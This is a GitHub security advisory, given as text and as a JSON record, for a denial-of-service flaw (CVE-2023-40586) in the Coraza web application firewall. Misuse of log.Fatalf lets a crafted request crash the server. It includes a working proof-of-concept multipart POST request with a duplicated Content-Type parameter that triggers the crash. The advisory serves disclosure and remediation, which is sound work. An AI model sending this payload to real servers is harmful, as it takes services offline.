GHSA-C2PJ-V37R-2P6H

Vulnerability from github – Published: 2023-06-26 15:48 – Updated: 2023-08-25 21:35
VLAI?
Summary
Coraza has potential denial of service vulnerability
Details

Summary

Due to the misuse of log.Fatalf, the application using coraza crashed after receiving crafted requests from attackers.

Details

https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29 The bodyprocessors of multipart uses log.Fatalf to handle errors from the mime.ParseMediaType, but log.Fatalf calls os.Exit directly after logging the error. https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291 This means that the application will immediately crash after receiving a malicious request that triggers an error in mime.ParseMediaType.

PoC

The server can be demonstrated by https://github.com/corazawaf/coraza/tree/main/examples/http-server

After sending this request

POST / HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: curl/8.1.2
Accept: */*
Content-Length: 199
Content-Type: multipart/form-data; boundary=------------------------5fa6351b877326a1; a=1; a=2
Connection: close

--------------------------5fa6351b877326a1
Content-Disposition: form-data; name="file"; filename="123"
Content-Type: application/octet-stream

123

--------------------------5fa6351b877326a1--

The server will crash immediately. The a=1; a=2 in Content-Type makes mime: duplicate parameter name error.

Impact

I believe the vulnerability was introduced by the following commit: https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec.

Mitigation

The error from mime.ParseMediaType should return directly.

Severity ?
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/corazawaf/coraza/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/corazawaf/coraza/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "last_affected": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-40586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-26T15:48:33Z",
    "nvd_published_at": "2023-08-25T21:15:09Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nDue to the misuse of `log.Fatalf`, the application using coraza crashed after receiving crafted requests from attackers.\n\n### Details\n\nhttps://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29\nThe bodyprocessors of multipart uses `log.Fatalf` to handle errors from the `mime.ParseMediaType`, but `log.Fatalf` calls `os.Exit` directly after logging the error.\nhttps://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291\nThis means that the application will immediately crash after receiving a malicious request that triggers an error in `mime.ParseMediaType`.\n\n### PoC\n\nThe server can be demonstrated by https://github.com/corazawaf/coraza/tree/main/examples/http-server\n\nAfter sending this request\n```\nPOST / HTTP/1.1\nHost: 127.0.0.1:8090\nUser-Agent: curl/8.1.2\nAccept: */*\nContent-Length: 199\nContent-Type: multipart/form-data; boundary=------------------------5fa6351b877326a1; a=1; a=2\nConnection: close\n\n--------------------------5fa6351b877326a1\nContent-Disposition: form-data; name=\"file\"; filename=\"123\"\nContent-Type: application/octet-stream\n\n123\n\n--------------------------5fa6351b877326a1--\n\n```\nThe server will crash immediately. The `a=1; a=2` in `Content-Type` makes `mime: duplicate parameter name` error.\n\n### Impact\n\nI believe the vulnerability was introduced by the following commit: https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec.\n\n### Mitigation\n\nThe error from `mime.ParseMediaType` should return directly.",
  "id": "GHSA-c2pj-v37r-2p6h",
  "modified": "2023-08-25T21:35:14Z",
  "published": "2023-06-26T15:48:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-c2pj-v37r-2p6h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40586"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza-caddy/issues/48"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/a5239ba3ce839e14d9b4f9486e1b4a403dcade8c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/e1b119b83e12c64f0957e00e8cad45a1b5f012f8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/corazawaf/coraza"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/releases/tag/v3.0.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coraza has potential denial of service vulnerability"
}


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